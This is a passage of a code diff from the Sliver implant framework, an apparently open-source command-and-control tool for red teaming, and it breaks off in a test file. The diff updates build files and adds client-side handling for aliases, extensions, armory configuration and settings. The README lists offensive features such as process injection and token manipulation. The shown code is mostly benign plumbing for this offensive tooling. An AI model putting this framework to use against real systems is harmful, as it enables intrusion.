Set full file path

Expand tilde in generate file path

.dockerignore

@@ -1,28 +1,21 @@
-assets/*.zip
-assets/darwin
-assets/linux
-assets/windows
-server/assets/fs/**.zip
+/server/assets/fs/**.zip
 
-*.sdk.tar.xz
+/*.sdk.tar.xz
 
-sliver-server
-sliver-server.exe
+/sliver-server
+/sliver-server.exe
 
-sliver-client
-sliver-client.exe
+/sliver-client
+/sliver-client.exe
 
-gui/
-gui/*
+/.vscode/
+/.vscode/*
 
-.vscode/
-.vscode/*
+/.github/
+/.github/*
 
-.github/
-.github/*
-
-build.py
-LICENSE
-SECURITY.md
-README.md
-CONTRIBUTING.md
+/build.py
+/LICENSE
+/SECURITY.md
+/README.md
+/CONTRIBUTING.md

.github/workflows/autorelease.yml

@@ -14,10 +14,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -59,10 +59,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.github/workflows/codeql-scanning.yml

@@ -17,10 +17,10 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.16
+      - name: Go 1.17
         uses: actions/setup-go@v2
         with:
-          go-version: "^1.16"
+          go-version: "^1.17"
 
       - name: Checkout repository
         uses: actions/checkout@v2

.github/workflows/go.yml

@@ -15,10 +15,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -50,10 +50,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.gitignore

@@ -1,10 +1,11 @@
-.vscode/*
-.devcontainer
+/.vscode/*
+/.devcontainer
+/.idea
 
-Dockerfile.*
-*.sdk.tar.xz
+/Dockerfile.*
+/*.sdk.tar.xz
 
-release-*
+/release-*
 
 # Diffs
 *.orig
@@ -30,10 +31,10 @@ sliver-server-windows.zip
 *.dylib
 
 # Test binary, build with `go test -c`
-*.test
+/*.test
 
 # Output of the go coverage tool, specifically when used with LiteIDE
-*.out
+/*.out
 
 # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
 .glide/

CONTRIBUTING.md

@@ -24,9 +24,10 @@ Contributing to Sliver
 * _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
 * Whenever possible, use the following algorithms/encryption modes:
     - AES-GCM-256
-    - RSA-OAEP-2048 / RSA-OAEP-4096
     - SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
     - Curves P521, P384, P256
+    - Curve25519, XSalsa20, and Poly1305 (Nacl)
+    - ChaCha20Poly1305
 * _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
     - MD5
     - SHA1

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.16.6
+FROM golang:1.17.5
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
 # > Sliver
 #
 
-# protoc
+# Protoc
 WORKDIR /tmp
 RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
     && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
     && cp -vv ./bin/protoc /usr/local/bin
-
 RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
     && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
 
-# assets
+# Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
 ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
 RUN ./go-assets.sh
 
+# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
+RUN make \
+    && cp -vv sliver-server /opt/sliver-server \
+    && /opt/sliver-server unpack --force 
 
-RUN ls -lah \
-    && /opt/sliver-server unpack --force \
-    && /go/src/github.com/bishopfox/sliver/go-tests.sh
+# Run unit tests
+RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
+
+# Clean up
 RUN make clean \
     && rm -rf /go/src/* \
     && rm -rf /home/sliver/.sliver

Makefile

@@ -3,8 +3,8 @@
 #
 
 GO ?= go
-ENV = CGO_ENABLED=1
-TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
+ENV =
+TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
 
 #
 # Version Information
@@ -13,16 +13,21 @@ GO_VERSION = $(shell $(GO) version)
 VERSION ?= $(shell git describe --abbrev=0)
 COMPILED_AT = $(shell date +%s)
 RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
-PKG = github.com/bishopfox/sliver/client/version
+CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
+ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
+ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
+VERSION_PKG = github.com/bishopfox/sliver/client/version
 GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
 GIT_COMMIT = $(shell git rev-parse HEAD)
 LDFLAGS = -ldflags "-s -w \
-	-X $(PKG).Version=$(VERSION) \
-	-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-	-X $(PKG).CompiledAt=$(COMPILED_AT) \
-	-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-	-X $(PKG).GitCommit=$(GIT_COMMIT) \
-	-X $(PKG).GitDirty=$(GIT_DIRTY)"
+	-X $(VERSION_PKG).Version=$(VERSION) \
+	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
+	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
+	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
+	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
+	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 
 
 #
@@ -41,54 +46,42 @@ UNAME_P := $(shell uname -p)
 
 # If the target is Windows from Linux/Darwin, check for mingw
 CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
+ifneq (,$(findstring cgosqlite,$(TAGS)))
+	ENV +=CGO_ENABLED=1
+	ifeq ($(MAKECMDGOALS), windows)
+		K := $(foreach exec,$(CROSS_COMPILERS),\
+				$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
+		ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+	endif
+endif
 
 # Programs required for generating protobuf/grpc files
 PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
 ifeq ($(MAKECMDGOALS), pb)
 	K := $(foreach exec,$(PB_COMPILERS),\
-			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+			$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
 endif
 
-# *** Start Darwin ***
+# *** Darwin ***
 ifeq ($(UNAME_S),Darwin)
 	SED_INPLACE := sed -i ''
 	STATIC_TARGET := macos
-
+endif
 ifeq ($(UNAME_P),arm)
 	ENV += GOARCH=arm64
 endif
 
-ifeq ($(MAKECMDGOALS), windows)
-	K := $(foreach exec,$(CROSS_COMPILERS),\
-			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
-endif
-
-endif
-# *** End Darwin ***
-
-# *** Start Linux ***
-ifeq ($(UNAME_S),Linux)
-ifeq ($(MAKECMDGOALS), windows)
-	K := $(foreach exec,$(CROSS_COMPILERS),\
-			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
-endif
-endif
-
 ifeq ($(MAKECMDGOALS), linux)
 	# Redefine LDFLAGS to add the static part
 	LDFLAGS = -ldflags "-s -w \
 		-extldflags '-static' \
-		-X $(PKG).Version=$(VERSION) \
-		-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-		-X $(PKG).CompiledAt=$(COMPILED_AT) \
-		-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-		-X $(PKG).GitCommit=$(GIT_COMMIT) \
-		-X $(PKG).GitDirty=$(GIT_DIRTY)"
+		-X $(VERSION_PKG).Version=$(VERSION) \
+		-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
+		-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
+		-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
+		-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
+		-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
 endif
-# *** End Linux ***
 
 #
 # Targets
@@ -123,6 +116,7 @@ pb:
 	protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
+	protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative 
 
 .PHONY: clean-all
@@ -136,4 +130,4 @@ clean-all: clean
 .PHONY: clean
 clean:
 	rm -f sliver-client_arm64 sliver-server_arm64
-	rm -f sliver-client sliver-server *.exe
+	rm -f sliver-client sliver-server sliver-*.exe

README.md

@@ -20,9 +20,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
 * Local and remote process injection
 * Windows process migration
 * Windows user token manipulation
-* Anti-anti-anti-forensics
+* Anti-fingerprinting features
 * Let's Encrypt integration
 * In-memory .NET assembly execution
+* COFF/BOF in-memory loader
+* Much more!
 
 ### Getting Started
 
@@ -43,3 +45,4 @@ See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
 ### License - GPLv3
 
 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+

client/assets/.gitignore

@@ -1,9 +1 @@
-fs/*.zip
-fs/extensions/darwin/amd64/
-fs/extensions/darwin/arm64/
-fs/extensions/linux/amd64/
-fs/extensions/windows/amd64/
-fs/extensions/darwin/386/
-fs/extensions/darwin/386/
-fs/extensions/linux/386/
-fs/extensions/windows/386/
+fs/**

client/assets/aliases.go

@@ -0,0 +1,65 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"io/ioutil"
+	"log"
+	"os"
+	"path/filepath"
+)
+
+const (
+	AliasesDirName = "aliases"
+)
+
+// GetAliasesDir - Returns the path to the config dir
+func GetAliasesDir() string {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	dir := filepath.Join(rootDir, AliasesDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+// GetInstalledAliasManifests - Returns a list of installed alias manifests
+func GetInstalledAliasManifests() []string {
+	aliasDir := GetAliasesDir()
+	aliasDirContent, err := ioutil.ReadDir(aliasDir)
+	if err != nil {
+		log.Printf("error loading aliases: %s", err)
+		return []string{}
+	}
+	manifests := []string{}
+	for _, fi := range aliasDirContent {
+		if fi.IsDir() {
+			manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
+			if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
+				log.Printf("no manifest in %s, skipping ...", manifestPath)
+				continue
+			}
+			manifests = append(manifests, manifestPath)
+		}
+	}
+	return manifests
+}

client/assets/armories.go

@@ -0,0 +1,63 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+)
+
+const (
+	armoryConfigFileName = "armories.json"
+)
+
+var (
+	DefaultArmoryPublicKey string
+	DefaultArmoryRepoURL   string
+
+	defaultArmoryConfig = &ArmoryConfig{
+		PublicKey: DefaultArmoryPublicKey,
+		RepoURL:   DefaultArmoryRepoURL,
+	}
+)
+
+type ArmoryConfig struct {
+	PublicKey string `json:"public_key"`
+	RepoURL   string `json:"repo_url"`
+}
+
+// GetArmoriesConfig - The parsed armory config file
+func GetArmoriesConfig() []*ArmoryConfig {
+	armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
+	if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
+		return []*ArmoryConfig{defaultArmoryConfig}
+	}
+	data, err := ioutil.ReadFile(armoryConfigPath)
+	if err != nil {
+		return []*ArmoryConfig{defaultArmoryConfig}
+	}
+	var armoryConfigs []*ArmoryConfig
+	err = json.Unmarshal(data, &armoryConfigs)
+	if err != nil {
+		return []*ArmoryConfig{defaultArmoryConfig}
+	}
+	return append(armoryConfigs, defaultArmoryConfig)
+}

client/assets/assets.go

@@ -21,46 +21,33 @@ package assets
 import (
 	"embed"
 	"fmt"
+	"io/fs"
 	"io/ioutil"
 	"log"
 	"os"
 	"os/user"
-	"path"
+	"path/filepath"
 	"strings"
 
 	ver "github.com/bishopfox/sliver/client/version"
 )
 
 var (
-	//go:embed fs/extensions/*
-	assetsFs embed.FS
+	//go:embed fs/*
+	clientAssetsFs embed.FS
 )
 
 const (
 	// SliverClientDirName - Directory storing all of the client configs/logs
 	SliverClientDirName = ".sliver-client"
-	// SliverExtensionsDirName - Directory storing the client side extensions
-	SliverExtensionsDirName = "extensions"
-	versionFileName         = "version"
+
+	versionFileName = "version"
 )
 
 // GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
 func GetRootAppDir() string {
 	user, _ := user.Current()
-	dir := path.Join(user.HomeDir, SliverClientDirName)
-	if _, err := os.Stat(dir); os.IsNotExist(err) {
-		err = os.MkdirAll(dir, 0700)
-		if err != nil {
-			log.Fatal(err)
-		}
-	}
-	return dir
-}
-
-// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
-func GetExtensionsDir() string {
-	user, _ := user.Current()
-	dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
+	dir := filepath.Join(user.HomeDir, SliverClientDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
 		err = os.MkdirAll(dir, 0700)
 		if err != nil {
@@ -72,7 +59,7 @@ func GetExtensionsDir() string {
 
 func assetVersion() string {
 	appDir := GetRootAppDir()
-	data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
+	data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
 	if err != nil {
 		return ""
 	}
@@ -80,7 +67,7 @@ func assetVersion() string {
 }
 
 func saveAssetVersion(appDir string) {
-	versionFilePath := path.Join(appDir, versionFileName)
+	versionFilePath := filepath.Join(appDir, versionFileName)
 	fVer, _ := os.Create(versionFilePath)
 	defer fVer.Close()
 	fVer.Write([]byte(ver.GitCommit))
@@ -92,53 +79,48 @@ func Setup(force bool, echo bool) {
 	localVer := assetVersion()
 	if force || localVer == "" || localVer != ver.GitCommit {
 		if echo {
-			fmt.Printf("Unpacking assets ...\n")
+			fmt.Printf(`
+Sliver  Copyright (C) 2021  Bishop Fox
+This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
+This is free software, and you are welcome to redistribute it
+under certain conditions; type 'licenses' for details.`)
+			fmt.Printf("\n\nUnpacking assets ...\n")
 		}
-		err := setupCoffLoaderExt(appDir)
+		err := setupDefaultExtensions(appDir)
 		if err != nil {
 			fmt.Println(err)
 			log.Fatal(err)
 		}
 		saveAssetVersion(appDir)
 	}
+	if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
+		SaveSettings(nil)
+	}
 }
 
-func setupCoffLoaderExt(appDir string) error {
-	extDir := GetExtensionsDir()
-	win32ExtDir := path.Join("windows", "386")
-	win64ExtDir := path.Join("windows", "amd64")
-	coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
-	coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
-	manfiestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
-	loader64, err := assetsFs.ReadFile(coffLoader64)
-	if err != nil {
-		return err
-	}
-	loader32, err := assetsFs.ReadFile(coffLoader32)
-	if err != nil {
-		return err
-	}
-	manifest, err := assetsFs.ReadFile(manfiestPath)
-	if err != nil {
-		return err
-	}
-	localWin32ExtDir := path.Join(extDir, win32ExtDir)
-	err = os.MkdirAll(localWin32ExtDir, 0700)
-	if err != nil {
-		return err
-	}
-	localWin64ExtDir := path.Join(extDir, win64ExtDir)
-	err = os.MkdirAll(localWin64ExtDir, 0700)
-	if err != nil {
-		return err
-	}
-	err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
-	if err != nil {
-		return err
-	}
-	err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
-	if err != nil {
-		return err
-	}
-	return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
+func setupDefaultExtensions(appDir string) error {
+	localExtDir := GetExtensionsDir()
+	rootEmbedPath := "fs/extensions"
+	return fs.WalkDir(clientAssetsFs, rootEmbedPath, func(embedPath string, embedDir fs.DirEntry, err error) error {
+		if err != nil {
+			return err
+		}
+		localPath := strings.TrimPrefix(embedPath, rootEmbedPath)
+		if embedDir.IsDir() {
+			err := os.MkdirAll(filepath.Join(localExtDir, localPath), 0o700)
+			if err != nil {
+				return err
+			}
+		} else {
+			data, err := fs.ReadFile(clientAssetsFs, embedPath)
+			if err != nil {
+				return err
+			}
+			err = ioutil.WriteFile(filepath.Join(localExtDir, localPath), data, 0o600)
+			if err != nil {
+				return err
+			}
+		}
+		return nil
+	})
 }

client/assets/config.go

@@ -40,6 +40,7 @@ type ClientConfig struct {
 	Operator      string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
 	LHost         string `json:"lhost"`
 	LPort         int    `json:"lport"`
+	Token         string `json:"token"`
 	CACertificate string `json:"ca_certificate"`
 	PrivateKey    string `json:"private_key"`
 	Certificate   string `json:"certificate"`
@@ -48,7 +49,7 @@ type ClientConfig struct {
 // GetConfigDir - Returns the path to the config dir
 func GetConfigDir() string {
 	rootDir, _ := filepath.Abs(GetRootAppDir())
-	dir := path.Join(rootDir, ConfigDirName)
+	dir := filepath.Join(rootDir, ConfigDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
 		err = os.MkdirAll(dir, 0700)
 		if err != nil {
@@ -85,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
 // ReadConfig - Load config into struct
 func ReadConfig(confFilePath string) (*ClientConfig, error) {
 	confFile, err := os.Open(confFilePath)
-	defer confFile.Close()
 	if err != nil {
 		log.Printf("Open failed %v", err)
 		return nil, err
 	}
+	defer confFile.Close()
 	data, err := ioutil.ReadAll(confFile)
 	if err != nil {
 		log.Printf("Read failed %v", err)
@@ -107,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
 // SaveConfig - Save a config to disk
 func SaveConfig(config *ClientConfig) error {
 	if config.LHost == "" || config.Operator == "" {
-		return errors.New("Empty config")
+		return errors.New("empty config")
 	}
 	configDir := GetConfigDir()
 	filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
-	saveTo, _ := filepath.Abs(path.Join(configDir, filename))
+	saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
 	configJSON, _ := json.Marshal(config)
 	err := ioutil.WriteFile(saveTo, configJSON, 0600)
 	if err != nil {

client/assets/extensions.go

@@ -0,0 +1,66 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"io/ioutil"
+	"log"
+	"os"
+	"path/filepath"
+)
+
+const (
+	// ExtensionsDirName - Directory storing the client side extensions
+	ExtensionsDirName = "extensions"
+)
+
+// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
+func GetExtensionsDir() string {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	dir := filepath.Join(rootDir, ExtensionsDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+// GetInstalledExtensionManifests - Returns a list of installed extension manifests
+func GetInstalledExtensionManifests() []string {
+	extDir := GetExtensionsDir()
+	extDirContent, err := ioutil.ReadDir(extDir)
+	if err != nil {
+		log.Printf("error loading aliases: %s", err)
+		return []string{}
+	}
+	manifests := []string{}
+	for _, fi := range extDirContent {
+		if fi.IsDir() {
+			manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
+			if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
+				log.Printf("no manifest in %s, skipping ...", manifestPath)
+				continue
+			}
+			manifests = append(manifests, manifestPath)
+		}
+	}
+	return manifests
+}

client/assets/fs/extensions/manifest.json

@@ -1,16 +0,0 @@
-[
-    {
-        "name": "coff-loader",
-        "help": "Load and execute Beacon Object Files (BOFs) in memory.",
-        "entrypoint": "LoadAndRun",
-        "extFiles": [
-            {
-                "os": "windows",
-                "files": {
-                    "x64": "COFFLoader.x64.dll",
-                    "x86": "COFFLoader.x86.dll"
-                }
-            }
-        ]
-    }
-]

client/assets/settings.go

@@ -0,0 +1,73 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"io/ioutil"
+	"path/filepath"
+)
+
+const (
+	settingsFileName = "tui-settings.json"
+)
+
+// ClientSettings - Client JSON config
+type ClientSettings struct {
+	TableStyle        string `json:"tables"`
+	AutoAdult         bool   `json:"autoadult"`
+	BeaconAutoResults bool   `json:"beacon_autoresults"`
+}
+
+// LoadSettings - Load the client settings from disk
+func LoadSettings() (*ClientSettings, error) {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
+	if err != nil {
+		return defaultSettings(), err
+	}
+	settings := defaultSettings()
+	err = json.Unmarshal(data, settings)
+	if err != nil {
+		return defaultSettings(), err
+	}
+	return settings, nil
+}
+
+func defaultSettings() *ClientSettings {
+	return &ClientSettings{
+		TableStyle:        "SliverDefault",
+		AutoAdult:         false,
+		BeaconAutoResults: true,
+	}
+}
+
+// SaveSettings - Save the current settings to disk
+func SaveSettings(settings *ClientSettings) error {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	if settings == nil {
+		settings = defaultSettings()
+	}
+	data, err := json.MarshalIndent(settings, "", "  ")
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
+	return err
+}

client/cli/cli.go

@@ -80,10 +80,9 @@ var rootCmd = &cobra.Command{
 
 // StartClientConsole - Start the client console
 func StartClientConsole() error {
-	assets.Setup(false, true)
 	configs := assets.GetConfigs()
 	if len(configs) == 0 {
-		fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
+		fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
 		return nil
 	}
 	config := selectConfig()
@@ -94,7 +93,7 @@ func StartClientConsole() error {
 	fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
 	rpc, ln, err := transport.MTLSConnect(config)
 	if err != nil {
-		fmt.Printf("Connection to server failed %v", err)
+		fmt.Printf("Connection to server failed %s", err)
 		return nil
 	}
 	defer ln.Close()

client/command/alias/README.md

@@ -1,4 +1,11 @@
-Extensions
+Alias
 ===========
 
 Wraps external DLLs/tool in Sliver console commands.
+
+
+
+### Format
+
+* `alias-dir/`
+* * `manifest.json` - 

client/command/alias/alias.go

@@ -0,0 +1,75 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// AliasesCmd - The alias command
+func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if 0 < len(loadedAliases) {
+		PrintAliases(con)
+	} else {
+		con.PrintInfof("No aliases loaded\n")
+	}
+}
+
+// PrintAliases - Print a list of loaded aliases
+func PrintAliases(con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Command Name",
+		".NET Assembly",
+		"Reflective",
+		"Help",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+
+	for _, alias := range loadedAliases {
+		tw.AppendRow(table.Row{
+			alias.Manifest.Name,
+			alias.Manifest.CommandName,
+			alias.Manifest.IsAssembly,
+			alias.Manifest.IsReflective,
+			alias.Manifest.Help,
+		})
+	}
+	con.Println(tw.Render())
+}
+
+// AliasCommandNameCompleter - Completer for installed extensions command names
+func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	results := []string{}
+	for name := range loadedAliases {
+		if strings.HasPrefix(name, prefix) {
+			results = append(results, name)
+		}
+	}
+	return results
+}

client/command/alias/alias_test.go

@@ -0,0 +1,90 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import "testing"
+
+const (
+	sample1 = `{
+	"name": "test1",
+	"command_name": "test1",
+	"version": "1.0.0",
+	"repo_url": "https://example.com/",
